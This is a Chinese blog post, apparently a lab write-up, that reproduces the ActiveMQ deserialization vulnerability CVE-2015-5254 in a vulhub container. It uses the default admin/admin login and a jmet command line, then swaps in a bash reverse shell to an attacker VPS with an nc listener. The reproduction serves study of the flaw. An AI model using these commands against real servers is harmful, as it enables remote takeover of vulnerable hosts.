zoukankan      html  css  js  c++  java
  • 漏洞复现-ActiveMq反序列化漏洞(CVE-2015-5254)

     
     
     

    0x00 实验环境

    攻击机:Win 10

    靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场)

    0x01 影响版本

    Apache ActiveMQ 5.13.0之前的5.x版本

    0x02 漏洞复现

    (1)实验环境:docker运行的vulhub漏洞环境首先,可直接访问到页面的显示为:

    (2)使用默认口令:admin/admin 进入后台:

    (3)版本为5.11.1,存在该编号漏洞:

     

    (4)下载使用如下工具进行漏洞利用:

    https://github.com/matthiaskaiser/jmet/releases

    这款工具我也是第一次使用,先不管原理,充分发挥脚本小子的优势复现一波。

    首先是下载好利用工具:(需要我复现工具的可以先点个关注,然后私聊我)

     

    (5)然后使用如下命令:

    java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch test" -Yp ROME 有漏洞的IP   61616
    

    虽然存在部分报错,但不影响结果,后台成功生成一条序列号,这里存在一个避坑的地方——记得必须点击此序列号后才会执行上述的“touch test”命令:

    进入容器,我们可以发现还尚未创建——test文件:

    (6)点击上面的序列号后即可在有漏洞的服务器内生成一个——test文件:

     (7)以上是创建文件的操作,此时更换为反弹shell的命令即可达到获取服务器shell的目的:

    bash -i >& /dev/tcp/自己的vps/9999 0>&1

    (8)此时需要在如下网站进行编码:

    http://www.jackson-t.ca/runtime-exec-payloads.html

     (9)编码成功后如上面创建文件的操作,即可getshell:

    (10)nc开启9999端口的监听:

    0x03 实验原理

    该漏洞源于程序没有限制可在代理中序列化的类。

    远程攻击者可借助特制的序列化的java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码

    没有发现有更深入的漏洞原理分析,故希望观者自行查找学习。

  • 相关阅读:
    OpenCV 笔记 (C++模板template)
    C++中预定义的运算符的操作对象只能是基本的数据类型
    linux-CentOS6.4下安装oracle11g详解
    Eclipse 连接MySql数据库总结
    六个创建模式之单例模式(Singleton Pattern)
    六个创建模式之抽象工厂模式(Abstract Factory Pattern)
    六个创建模式之工厂方法模式(Factory Method Pattern)
    六个创建模式之简单工厂模式(Simple Factory Pattern)
    搜狗实习面试
    Java设计模式 -- 基本原则
  • 原文地址:https://www.cnblogs.com/cute-puli/p/14395750.html
Copyright © 2011-2022 走看看